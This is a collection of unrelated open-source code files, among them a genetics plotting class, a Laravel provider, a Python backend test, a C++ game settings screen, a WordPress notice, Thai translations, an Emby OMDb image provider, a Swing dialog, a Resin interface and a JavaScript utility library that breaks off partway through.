points[0][1][i] = pNext(p[0][i]) - p[0][i];
break;
case WBar:
points = new double[1][2][p[0].length];
xCap = "Gene Frequency ( <b><i>p</> )";
yCap = ColorScheme.getColorString(0)+"<b><i>w\u0305</> ";
points[0][0] = p[0];
for(int i=0; i<p[0].length; i++)
points[0][1][i] = wBar(p[0][i]);
break;
}
if (s == 0.0d)
qhat = 0.0d;
else if (h == 0.0d)
qhat = Math.sqrt(mu / s);
else
qhat = mu / (h * s);
qhat = NumberMath.roundSig(qhat, 5, 0);
//BasicPlotInfo bpi = new BasicPlotInfo(points,mCap+", <sp=qhat> = "+qhat,xCap,yCap);
BasicPlotInfo bpi = new BasicPlotInfo(points, mCap + ", q\u0302 = " + qhat, xCap, yCap);
if (plotType == GenovsT || plotType == PvsT) bpi.setIsFrequencies(true);
bpi.setIsDiscrete(true);
bpi.setColors(ColorScheme.colors);
return bpi;
}
double pNext(double p) {
double q = 1.0d - p;
return (p * (1.0d - q * h * s) * (1.0d - mu) / wBar(p));
}
double wBar(double p) {
double q = 1.0d - p;
return (1.0d - s * q * (q + 2.0d * p * h));
}
public SAMParamInfo(double s, double h, double mu, int gens, int plotType, double[] freqs) {
this.s = s;
this.h = h;
this.mu = mu;
this.gens = gens;
this.plotType = plotType;
this.freqs = freqs;
}
}
| gpl-2.0 |
kaeku/webfolks | app/Providers/AppServiceProvider.php | 671 | <?php namespace webfolks\Providers;
use Illuminate\Support\ServiceProvider;
class AppServiceProvider extends ServiceProvider {
/**
* Bootstrap any application services.
*
* @return void
*/
public function boot()
{
//
}
/**
* Register any application services.
*
* This service provider is a great spot to register your various container
* bindings with the application. As you can see, we are registering our
* "Registrar" implementation here. You can add your own bindings too!
*
* @return void
*/
public function register()
{
$this->app->bind(
'Illuminate\Contracts\Auth\Registrar',
'webfolks\Services\Registrar'
);
}
}
| gpl-2.0 |
thysol/CS4098 | test/contact_backend_test.py | 474 | #!/usr/bin/python
import os
import sys
import subprocess
import urllib.request
#Testing if CGI script will return Json with process table
#print("Requesting parsed list of processes.....")
response = urllib.request.urlopen("http://127.0.0.1/cgi-bin/kernel_request.py/?event=GETLIST&login_name=40").read()
response = str(response)
#print("Received response from server")
if ("404" in response or "500" in response or response == ""):
sys.exit(1)
else:
sys.exit(0)
| gpl-2.0 |
radu124/fretscpp | src/scnSetLayout.cc | 3176 | /*******************************************************************
(C) 2011 by Radu Stefan
[email protected]
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; version 2 of the License.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
*******************************************************************/
#include "scnSetLayout.h"
#include "configuration.h"
#include "scene.h"
#include "scnGuitar.h"
#include "message.h"
#include "verbosity.h"
#include "stage.h"
#include "font.h"
tScnSetLayout scnSetLayout;
void replaceSI(tSettingsItem *&old, tSettingsItem *cnew)
{
tSettingsItem *oldv;
oldv=old;
old=cnew;
delete oldv;
}
void tScnSetLayout::setTarget()
{
int active;
if (crtplayer>np) crtplayer=np;
sicrtpl->max=np;
active=np*(np-1)/2+crtplayer-1;
assume(active>=0 && active<NECKPOS_COUNT,"trying to set wrong neckpos");
MESSAGE("Setting target %d\n", active);
replaceSI(item[3],new tSIrange("XPos",-20,20,&neckpos[active].xdisp,0.25));
replaceSI(item[4],new tSIrange("YPos",-20,20,&neckpos[active].ydisp,0.25));
replaceSI(item[5],new tSIrange("Scale",0.1,4,&neckpos[active].scale,0.1));
replaceSI(item[6],new tSIrange("Stretch",0.1,4,&neckpos[active].stretch,0.1));
replaceSI(item[7],new tSIrange("Skew",-2,2,&neckpos[active].skew,0.01));
replaceSI(item[8],new tSIlist("Status position",statpositions,&neckpos[active].statpos));
}
void tScnSetLayout::itemAdjusted(int i)
{
if (i==0 || i==1) setTarget();
}
void tScnSetLayout::init()
{
posy=-28;
scale=2;
additem(new tSIintrange("Num players",1,MAX_PLAYERS,&np));
sicrtpl=new tSIintrange("Current player",1,MAX_PLAYERS,&crtplayer);
additem(sicrtpl);
statpositions.push_back("Left");
statpositions.push_back("Right");
additem(new tSIrange("Extend Neck",-1,4,&neckpos_extend,0.2));
additem(new tSettingsItem());
additem(new tSettingsItem());
additem(new tSettingsItem());
additem(new tSettingsItem());
additem(new tSettingsItem());
additem(new tSettingsItem());
setTarget();
tScnSetBase::init();
guitarScene.init();
}
void tScnSetLayout::render()
{
int cplayer;
stagePlay->render();
guitarScene.timenow=((int)(scn.time*44100)%882000+882000)%882000;
updateDummyPlayer(guitarScene.timenow);
for (cplayer=0; cplayer<np; cplayer++)
{
scene_setNeck(cplayer,np);
guitarScene.pp=&player[MAX_PLAYERS];
guitarScene.lane=&player[MAX_PLAYERS].lane;
guitarScene.noteRegion();
guitarScene.renderNeck();
guitarScene.renderTracks();
guitarScene.renderNoteLines();
guitarScene.renderKeys();
guitarScene.renderNotes();
guitarScene.renderFlames();
guitarScene.renderMultiplier();
}
scene_setOrtho();
for (cplayer=0; cplayer<np; cplayer++)
{
guitarScene.pp=&player[MAX_PLAYERS];
guitarScene.lane=&player[MAX_PLAYERS].lane;
guitarScene.activeneckpos=cplayer+np*(np-1)/2;
guitarScene.renderMultiplierVal();
guitarScene.renderStats();
}
rendertext();
}
| gpl-2.0 |
parpaitas1987/ProSports | sm-manager-setup/includes/prosports/includes/admin/views/html-notice-theme-support.php | 1313 | <?php
if ( ! defined( 'ABSPATH' ) ) exit; // Exit if accessed directly
?>
<!-- <div id="message" class="error prosports-message" >
<p><?php _e( '<strong>Your theme does not declare ProSport support</strong> – if you encounter layout issues please read our integration guide or choose a ProSport theme :)', 'prosports' ); ?></p>
<p class="submit">
<a class="button-primary" href="http://livescores.website/prosports/"><?php _e( 'Theme Integration Guide', 'prosports' ); ?></a>
<a class="button-secondary" href="<?php echo add_query_arg( 'hide_theme_support_notice', 'true' ); ?>"><?php _e( 'Hide this notice', 'prosports' ); ?></a>
</p>
</div> -->
<?php if (get_option("_display_footer_links")!='yes' || !get_option("_display_footer_links")) { ?>
<div id="message" class="error prosports-message">
<form action="" method="post">
<p><?php _e( 'Give credit to author by display link in your website footer', 'prosports' ); ?></p>
<p class="submit">
<input class="button-primary" type="submit" value="<?php _e( 'Support Us', 'prosports' ); ?>">
<input type="hidden" name="addoption" value="yes">
<a class="button-secondary" href="<?php echo add_query_arg( 'hide_theme_support_notice', 'true' ); ?>"><?php _e( 'Hide this notice', 'prosports' ); ?></a>
</p>
</form>
</div>
<?php } ?> | gpl-2.0 |
MARFMS/OwnCloud_NAC | apps/media/l10n/th_TH.php | 896 | <?php $TRANSLATIONS = array(
"Music" => "เพลง",
"songs" => "เพลง",
"albums" => "อัลบั้ม",
"Add to playlist" => "เพิ่มเข้าไปยังรายการเปิดเล่น",
"Add album to playlist" => "เพิ่มอัลบั้มเข้าไปยังเพลย์ลิสต์",
"Play" => "เล่น",
"Pause" => "หยุดชั่วคราว",
"Previous" => "ก่อนหน้า",
"Next" => "ถัดไป",
"Mute" => "ปิดเสียง",
"Unmute" => "เปิดเสียง",
"Rescan Collection" => "ตรวจสอบไฟล์ที่เก็บไว้อีกครั้ง",
"Artist" => "ศิลปิน",
"Album" => "อัลบั้ม",
"Title" => "ชื่อ",
"Media" => "ไฟล์มีเดีย",
"Ampache address:" => "ที่อยู่ Ampache:"
);
| gpl-2.0 |
jose-pr/Emby | MediaBrowser.Providers/Omdb/OmdbImageProvider.cs | 3659 | using MediaBrowser.Model.IO;
using MediaBrowser.Common.Net;
using MediaBrowser.Controller.Configuration;
using MediaBrowser.Controller.Entities;
using MediaBrowser.Controller.Entities.Movies;
using MediaBrowser.Controller.Entities.TV;
using MediaBrowser.Controller.LiveTv;
using MediaBrowser.Controller.Providers;
using MediaBrowser.Model.Entities;
using MediaBrowser.Model.Providers;
using MediaBrowser.Model.Serialization;
using System.Collections.Generic;
using System.Threading;
using System.Threading.Tasks;
using MediaBrowser.Controller.IO;
namespace MediaBrowser.Providers.Omdb
{
public class OmdbImageProvider : IRemoteImageProvider, IHasOrder
{
private readonly IHttpClient _httpClient;
private readonly IJsonSerializer _jsonSerializer;
private readonly IFileSystem _fileSystem;
private readonly IServerConfigurationManager _configurationManager;
public OmdbImageProvider(IJsonSerializer jsonSerializer, IHttpClient httpClient, IFileSystem fileSystem, IServerConfigurationManager configurationManager)
{
_jsonSerializer = jsonSerializer;
_httpClient = httpClient;
_fileSystem = fileSystem;
_configurationManager = configurationManager;
}
public IEnumerable<ImageType> GetSupportedImages(BaseItem item)
{
return new List<ImageType>
{
ImageType.Primary
};
}
public async Task<IEnumerable<RemoteImageInfo>> GetImages(BaseItem item, CancellationToken cancellationToken)
{
var imdbId = item.GetProviderId(MetadataProviders.Imdb);
var list = new List<RemoteImageInfo>();
var provider = new OmdbProvider(_jsonSerializer, _httpClient, _fileSystem, _configurationManager);
if (!string.IsNullOrWhiteSpace(imdbId))
{
OmdbProvider.RootObject rootObject = await provider.GetRootObject(imdbId, cancellationToken).ConfigureAwait(false);
if (!string.IsNullOrEmpty(rootObject.Poster))
{
if (item is Episode)
{
// img.omdbapi.com returning 404's
list.Add(new RemoteImageInfo
{
ProviderName = Name,
Url = rootObject.Poster
});
}
else
{
list.Add(new RemoteImageInfo
{
ProviderName = Name,
Url = string.Format("https://img.omdbapi.com/?i={0}&apikey=fe53f97e", imdbId)
});
}
}
}
return list;
}
public Task<HttpResponseInfo> GetImageResponse(string url, CancellationToken cancellationToken)
{
return _httpClient.GetResponse(new HttpRequestOptions
{
CancellationToken = cancellationToken,
Url = url
});
}
public string Name
{
get { return "The Open Movie Database"; }
}
public bool Supports(BaseItem item)
{
return item is Movie || item is Trailer || item is Episode;
}
public int Order
{
get
{
// After other internet providers, because they're better
// But before fallback providers like screengrab
return 90;
}
}
}
}
| gpl-2.0 |
gnomezgrave/GSyncJ | GSyncJ/src/gnomezgrave/gsyncj/gui/NewProfile.java | 11357 | /*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package gnomezgrave.gsyncj.gui;
import com.google.api.services.drive.Drive;
import gnomezgrave.gsyncj.auth.Authorization;
import gnomezgrave.gsyncj.auth.Profile;
import gnomezgrave.gsyncj.local.ProfileManagement;
import gsyncj.GSyncJ;
import java.io.File;
import java.io.IOException;
import java.util.logging.Level;
import java.util.logging.Logger;
import javax.swing.JOptionPane;
/**
*
* @author praneeth
*/
public class NewProfile extends javax.swing.JDialog {
private GSyncJ gSyncJ;
Profile profile;
private MainWindow mainWindow;
/**
* Creates new form NewProfile
*
* @param parent
* @param modal
* @param gSyncJ
*/
public NewProfile(MainWindow parent, boolean modal, GSyncJ gSyncJ) {
super(parent, modal);
initComponents();
this.gSyncJ = gSyncJ;
this.mainWindow = parent;
setLocationRelativeTo(parent);
}
/**
* This method is called from within the constructor to initialize the form.
* WARNING: Do NOT modify this code. The content of this method is always
* regenerated by the Form Editor.
*/
@SuppressWarnings("unchecked")
// <editor-fold defaultstate="collapsed" desc="Generated Code">//GEN-BEGIN:initComponents
private void initComponents() {
jLabel1 = new javax.swing.JLabel();
jLabel2 = new javax.swing.JLabel();
jLabel3 = new javax.swing.JLabel();
jLabel4 = new javax.swing.JLabel();
txtUserName = new javax.swing.JTextField();
txtProfileName = new javax.swing.JTextField();
txtPath = new javax.swing.JTextField();
jLabel5 = new javax.swing.JLabel();
jLabel6 = new javax.swing.JLabel();
btnBrowse = new javax.swing.JButton();
btnCancel = new javax.swing.JButton();
btnOK = new javax.swing.JButton();
setDefaultCloseOperation(javax.swing.WindowConstants.DISPOSE_ON_CLOSE);
setResizable(false);
jLabel1.setText("User Name");
jLabel2.setText("Profile Name");
jLabel3.setText(":");
jLabel4.setText(":");
jLabel5.setText("Sync Path");
jLabel6.setText(":");
btnBrowse.setText("Browse");
btnCancel.setText("Cancel");
btnCancel.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
btnCancelActionPerformed(evt);
}
});
btnOK.setText("OK");
btnOK.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
btnOKActionPerformed(evt);
}
});
javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane());
getContentPane().setLayout(layout);
layout.setHorizontalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addContainerGap()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(jLabel1)
.addComponent(jLabel2)
.addComponent(jLabel5))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(jLabel4, javax.swing.GroupLayout.Alignment.TRAILING, javax.swing.GroupLayout.PREFERRED_SIZE, 15, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(jLabel3, javax.swing.GroupLayout.Alignment.TRAILING, javax.swing.GroupLayout.PREFERRED_SIZE, 15, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(jLabel6, javax.swing.GroupLayout.Alignment.TRAILING, javax.swing.GroupLayout.PREFERRED_SIZE, 15, javax.swing.GroupLayout.PREFERRED_SIZE))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(txtPath, javax.swing.GroupLayout.PREFERRED_SIZE, 252, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(txtUserName, javax.swing.GroupLayout.PREFERRED_SIZE, 252, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(txtProfileName, javax.swing.GroupLayout.PREFERRED_SIZE, 256, javax.swing.GroupLayout.PREFERRED_SIZE))
.addGap(18, 18, 18)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(btnCancel, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(btnBrowse, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
.addContainerGap())
.addGroup(layout.createSequentialGroup()
.addGap(316, 316, 316)
.addComponent(btnOK, javax.swing.GroupLayout.PREFERRED_SIZE, 77, javax.swing.GroupLayout.PREFERRED_SIZE)
.addGap(124, 124, 124))
);
layout.linkSize(javax.swing.SwingConstants.HORIZONTAL, new java.awt.Component[] {txtPath, txtProfileName, txtUserName});
layout.setVerticalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addContainerGap()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jLabel1)
.addComponent(jLabel4)
.addComponent(txtUserName, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
.addGap(18, 18, 18)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jLabel2)
.addComponent(jLabel3)
.addComponent(txtProfileName, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jLabel6)
.addComponent(txtPath, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(jLabel5)
.addComponent(btnBrowse))
.addGap(18, 18, 18)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(btnCancel)
.addComponent(btnOK))
.addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
);
pack();
}// </editor-fold>//GEN-END:initComponents
private void btnOKActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_btnOKActionPerformed
String userName = txtUserName.getText().trim();
if (ProfileManagement.checkProfileExsistence(userName)) {
JOptionPane.showMessageDialog(NewProfile.this, "Profile already exists. Please enter another user name.", "Profile Already Exists", JOptionPane.ERROR_MESSAGE);
Logger.getLogger(this.getClass().getName()).log(Level.SEVERE, "Profile {0} already exists.", userName);
} else {
String profileName = txtProfileName.getText().trim();
String path = txtPath.getText().trim();
File f = new File(path);
boolean isValid = false;
if (f.exists()) {
if (f.isDirectory()) {
if (f.list().length != 0) {
JOptionPane.showMessageDialog(NewProfile.this, "Sync Folder is not empty. Please enter another path.", "Sync Folder not empty", JOptionPane.ERROR_MESSAGE);
return;
} else {
isValid = true;
}
if (!f.canWrite()) {
isValid = false;
JOptionPane.showMessageDialog(NewProfile.this, "Sync Folder is read-only. Please enter another path.", "Sync Folder is read-only", JOptionPane.ERROR_MESSAGE);
return;
}
} else if (f.isFile()) {
JOptionPane.showMessageDialog(NewProfile.this, "Specified path is not a valid folder. Please enter another path.", "Invalid Sync Folder", JOptionPane.ERROR_MESSAGE);
return;
}
} else {
if (f.mkdir()) {
isValid = true;
} else {
isValid = false;
}
}
if (isValid) {
WebBrowser webBrowser = new WebBrowser(mainWindow, true, true, Authorization.getAuthURL());
webBrowser.setVisible(true);
if (webBrowser.isProcessed()) {
try {
String value = webBrowser.getKey();
profile = gSyncJ.addProfile(userName, profileName, path, value);
setVisible(false);
} catch (IOException ex) {
Logger.getLogger(NewProfile.class.getName()).log(Level.SEVERE, null, ex);
} catch (ClassNotFoundException ex) {
Logger.getLogger(NewProfile.class.getName()).log(Level.SEVERE, null, ex);
} catch (InterruptedException ex) {
Logger.getLogger(NewProfile.class.getName()).log(Level.SEVERE, null, ex);
}
}
}
}
}//GEN-LAST:event_btnOKActionPerformed
private void btnCancelActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_btnCancelActionPerformed
setVisible(false);
}//GEN-LAST:event_btnCancelActionPerformed
// Variables declaration - do not modify//GEN-BEGIN:variables
private javax.swing.JButton btnBrowse;
private javax.swing.JButton btnCancel;
private javax.swing.JButton btnOK;
private javax.swing.JLabel jLabel1;
private javax.swing.JLabel jLabel2;
private javax.swing.JLabel jLabel3;
private javax.swing.JLabel jLabel4;
private javax.swing.JLabel jLabel5;
private javax.swing.JLabel jLabel6;
private javax.swing.JTextField txtPath;
private javax.swing.JTextField txtProfileName;
private javax.swing.JTextField txtUserName;
// End of variables declaration//GEN-END:variables
/**
* @return the profile
*/
public Profile getDrive() {
return profile;
}
}
| gpl-2.0 |
christianchristensen/resin | modules/webbeans/src/javax/enterprise/event/Event.java | 2362 | /*
* Copyright (c) 1998-2010 Caucho Technology -- all rights reserved
*
* This file is part of Resin(R) Open Source
*
* Each copy or derived work must preserve the copyright notice and this
* notice unmodified.
*
* Resin Open Source is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* Resin Open Source is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE, or any warranty
* of NON-INFRINGEMENT. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License
* along with Resin Open Source; if not, write to the
*
* Free Software Foundation, Inc.
* 59 Temple Place, Suite 330
* Boston, MA 02111-1307 USA
*
* @author Scott Ferguson
*/
package javax.enterprise.event;
import java.lang.annotation.*;
import javax.enterprise.util.TypeLiteral;
/**
* Injectable interface providing simplified access to the event system.
*
* <code><pre>
* class MyBean {
* @Any Event<MyEvent> _myEvent;
*
* void myMethod()
* {
* _myEvent.fire(new MyEvent("test"));
* }
* }
* </pre></code>
*/
public interface Event<T> {
/**
* Fires an event with the Event object's bindings.
*
* @param event the event to fire
*/
public void fire(T event);
/**
* Adds the current set of qualifiers, returning a new Event object.
*
* @param qualifiers the additional qualifiers
*/
public Event<T> select(Annotation... qualifiers);
/**
* Adds the current set of bindings, returning a new Event object.
*
* @param subtype the restricted type
* @param qualifiers the additional qualifiers
*/
public <U extends T> Event<U> select(Class<U> subtype,
Annotation... qaualifiers);
/**
* Adds the current set of qualifiers, returning a new Event object.
*
* @param subtype the restricted type
* @param qualifiers the additional qualifiers
*/
public <U extends T> Event<U> select(TypeLiteral<U> subtype,
Annotation... qualifiers);
}
| gpl-2.0 |
bell345/lpf | assets/js/tbi.js | 15878 | // Determines whether or not a variable is nothing at all.
function isNull(thing) {
if (thing instanceof Array) {
for (var i=0;i<thing.length;i++)
if (isNull(thing[i])) return true;
return (thing.length == 0)
} else return (thing == undefined || thing === "" || thing == null || thing.toString() == "NaN");
}
function sort(templst) {
var min = Math.min.apply(null, templst),
max = Math.max.apply(null, templst);
templst = splice(templst, templst.indexOf(min), 1);
templst = splice(templst, templst.indexOf(max), 1);
if (templst.length == 0) return [min,max];
else if (templst.length == 1) return [min,templst[0],max];
else {
var newarr = sort(templst);
newarr.push(max);
newarr.unshift(min);
return newarr;
}
}
function randomInt(num) {
return Math.floor(Math.random()*num);
}
function fixURL(url) {
return (location.href.search("github.io/lpf") != -1 && url.search("//") == -1 ? "/lpf" : "") + url;
}
var testtime = new Date().getTime();
var path = hash = query = {};
var TBI = {
Net: {
checkState: function (request) { return request.readyState == 4; },
XHR: function () { return window.XMLHttpRequest ? new XMLHttpRequest : new ActiveXObject("Microsoft.XMLHTTP") },
AJAX: function (url, func, async) {
var xhr = TBI.Net.XHR();
xhr.open("GET", url, async?async:true);
xhr.send();
xhr.onreadystatechange = function () {
if (TBI.Net.checkState(xhr)) {
if (isNull(xhr.response)) xhr.response = xhr.responseText;
if (func instanceof Function) func(xhr);
}
}
},
MultiAJAX: function (urls, eachCallback, allCallback, timeout, timeoutCallback) {
var retrievalDone = [], nullfunc = function () { return null; };
timeout = timeout ? timeout : 5000;
timeoutCallback = typeof(timeoutCallback) == "function" ? timeoutCallback : nullfunc;
var timeoutTimer = setTimeout(timeoutCallback, timeout);
urls.forEach(function (url) {
TBI.Net.AJAX(url, function (xhr) {
retrievalDone.push(true);
eachCallback(xhr);
if (retrievalDone.length >= urls.length) {
clearTimeout(timeoutTimer);
allCallback();
}
});
});
}
},
Util: {
requestManager: function () {
var search = location.search;
if (!isNull(location.search)) {
search = search.replace("?","").split("&");
for (var i=0;i<search.length;i++) {
search[i] = search[i].split("=");
query[search[i][0]] = search[i][1];
}
}
var hash = location.hash;
if (!isNull(location.hash)) {
hash = hash.replace("#","").split("&");
for (var i=0;i<hash.length;i++) {
hash[i] = hash[i].split("=");
query[hash[i][0]] = hash[i][1];
}
}
if (location.pathname.length > 1)
path = location.pathname.replace(/^\//, "").replace(/\/$/, "").replace("lpf/", "").split("/");
},
sortTable: function (table, colIndex, direction) {
if (!(table instanceof HTMLTableElement)) return null;
var records = table.querySelectorAll("tbody tr"),
refs = {},
fields = [],
numbers = true;
if (colIndex != -1) for (var i=0;i<records.length;i++) {
var list = records[i].querySelectorAll("td");
var item = list[colIndex].innerText;
if (numbers && isNaN(parseFloat(item))) numbers = false;
}
for (var i=0;i<records.length;i++) {
var list = records[i].querySelectorAll("td");
if (colIndex != -1) {
var item = list[colIndex].innerText.toLowerCase();
if (numbers) item = parseFloat(item);
} else var item = parseFloat(records[i].className.match(/ torder-[0-9]{1,}/)[0].match(/[0-9]{1,}/)[0]);
fields.push(item);
refs[item] = i;
}
if (numbers) fields = sort(fields);
else fields.sort();
if (direction) fields.reverse();
$(table.getElementsByTagName("tbody")[0]).empty();
for (var i=0;i<fields.length;i++) table.getElementsByTagName("tbody")[0].appendChild(records[refs[fields[i]]]);
},
updateUI: function () {
var images = $(".img-mid:not(.done)");
for (var i=0;i<images.length;i++) {
var currimg = images[i];
var chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890", rand = "";
if (isNull(currimg.id)) {
do {
rand = "";
for (var j=0;j<4;j++) rand += chars[randomInt(chars.length)];
} while ($("#unq-"+rand).length > 0) currimg.id = "unq-"+rand;
}
$(currimg.getElementsByClassName("img-toggle")[0]).attr("for", "#" + currimg.id + " img");
currimg.className += " done";
}
$("button.toggle").off("mousedown");
$("button.toggle").mousedown(function (event) {
if (event.button != 0 || this.className.search(" dwn") != -1) return true;
var a = " dwn";
c = this.className;
this.className=c.search(a)!=-1?c:c+a;
});
$("button.toggle").off("mouseup");
$("button.toggle").mouseup(function (event) {
if (event.button != 0 || this.className.search(" dwn") == -1) return true;
var a = " on",
c = this.className.replace(" dwn","");
this.className=c.search(a)!=-1?c.replace(a,""):c+a;
});
$(".up-down").off("mouseup");
$(".up-down").mouseup(function (event) {
if (event.button != 0) return true;
var toSwitch = $($(this).attr("for"));
if (toSwitch.length > 0) toSwitch.slideToggle();
var a = " on";
c = this.className;
this.className=c.search(a)!=-1?c.replace(a,""):c+a;
});
for (var i=0;i<$("table.sortable").length;i++) {
var currtble = $("table.sortable")[i];
var rows = currtble.querySelectorAll("tbody tr");
for (var j=0;j<rows.length;j++)
if (rows[j].className.search(" torder") == -1) rows[j].className += " torder-"+j;
$(currtble.querySelectorAll("th.sort")).attr("class", "sort none");
$(currtble.querySelectorAll("th.sort")).off("click");
$(currtble.querySelectorAll("th.sort")).click(function () {
if ($(this).parent()[0].getElementsByTagName("th").length > 0) {
var updownList = $(this).parent()[0].getElementsByTagName("th");
for (var j=0;j<updownList.length;j++)
if (updownList[j] != this)
updownList[j].className = updownList[j].className.replace(/( up| down)/, " none");
else var tIndex = j;
}
var currclass = this.className;
if (currclass.search(" none") != -1) this.className = currclass.replace(" none", " up");
else if (currclass.search(" up") != -1) this.className = currclass.replace(" up", " down");
else if (currclass.search(" down") != -1) this.className = currclass.replace(" down", " none");
if (this.className.search(" down") != -1)
TBI.Util.sortTable($(this).parent().parent().parent()[0], tIndex, true);
else if (this.className.search(" up") != -1)
TBI.Util.sortTable($(this).parent().parent().parent()[0], tIndex, false);
else if (this.className.search(" none") != -1)
TBI.Util.sortTable($(this).parent().parent().parent()[0], -1, false);
});
}
}
},
Includes: {
info: [],
includes: [],
getIndex: function () {
TBI.Net.AJAX(fixURL("/assets/data/includes.json"), function (xhr) {
TBI.Includes.info = $.parseJSON(xhr.response).includes;
TBI.Loader.complete("HTMLIncIndex", TBI.Loader.DONE);
});
},
get: function () {
var curr = 0,
getDone = new Array(TBI.Includes.info.length);
var incTimer = setInterval(function () {
if (curr > getDone.length - 1 || getDone.length < 1) {
clearInterval(incTimer);
TBI.Loader.complete("HTMLIncludes", TBI.Loader.DONE);
} else if (!getDone[curr]) {
getDone[curr] = true;
TBI.Net.AJAX(fixURL(TBI.Includes.info[curr].source), function (xhr) {
TBI.Includes.includes[curr] = xhr.response;
var oldHTML = TBI.Includes.info[curr].replace?"":$(TBI.Includes.info[curr].insert).html();
$(TBI.Includes.info[curr].insert).html(oldHTML + xhr.response);
curr++;
});
}
}, 1);
}
},
Nav: {
data: [],
check: function () {
TBI.Nav.data = [];
var nv = "#top>li";
for (var i=0;i<$(nv).length;i++) {
var parent = nv+":nth("+i+")";
var child = parent+">.inner-nav";
TBI.Nav.bind(parent, child);
}
},
bind: function (parent, child) {
if ($(child).length > 0) {
TBI.Nav.data.push([$(parent)[0], $(child)[0]]);
$(parent).off("mousemove");
$(parent).mouseover(function () { $(TBI.Nav.search(this)).show() });
$(parent).off("mouseleave");
$(parent).mouseleave(function () { $(TBI.Nav.search(this)).hide() });
var nv = child+">li";
for (var i=0;i<$(nv).length;i++) {
var parent = nv+":nth("+i+")";
var child = parent+">.inner-nav";
TBI.Nav.bind(parent, child);
}
}
},
search: function (s) {
for (var i=0;i<TBI.Nav.data.length;i++)
if (!isNull(TBI.Nav.data[i]) && TBI.Nav.data[i][0] == s)
return TBI.Nav.data[i][1];
return null;
}
},
Loader: {
ERR: -2,
TIMEOUT: -3,
DONE: -1,
progress: [],
completed: [],
log: [],
timer: 0,
done: false,
settings: {
timeout: 8000,
time_until_load_screen: 3000,
interval: 10
},
jobs: [],
debug: true,
searchJobs: function (id) {
for (var i=0;i<TBI.Loader.jobs.length;i++) if (TBI.Loader.jobs[i].id == id) return i;
return null;
},
init: function () {
TBI.Loader.event("Loader initializing");
var loaderTimer = setInterval(function () {
for (var i=0;i<TBI.Loader.jobs.length;i++) TBI.Loader.checkJob(TBI.Loader.jobs[i]);
if (TBI.Loader.completed.length >= TBI.Loader.jobs.length ||
TBI.Loader.timer > TBI.Loader.settings.timeout) {
clearInterval(loaderTimer);
TBI.Loader.done = true;
$(document).trigger("pageload");
} else if (TBI.Loader.timer > TBI.Loader.settings.time_until_load_screen)
$("html")[0].className = $("html")[0].className.replace(" init", " loading");
TBI.Loader.timer+=TBI.Loader.settings.interval;
}, TBI.Loader.settings.interval);
},
checkJob: function (job) {
var depSatisfied = true,
condSatisfied = true;
if (TBI.Loader.progress.indexOf(job.id) == -1 && TBI.Loader.completed.indexOf(job.id) == -1) {
job.dependencies.forEach(function (dep) {
if (TBI.Loader.completed.indexOf(dep) == -1) depSatisfied = false;
});
job.conditions.forEach(function (cond) { if (!cond()) condSatisfied = false; });
if (depSatisfied && condSatisfied) {
job.func();
TBI.Loader.event("Executed "+job.id);
TBI.Loader.progress.push(job.id);
}
}
},
complete: function (id, status) {
var loc = TBI.Loader.searchJobs(id);
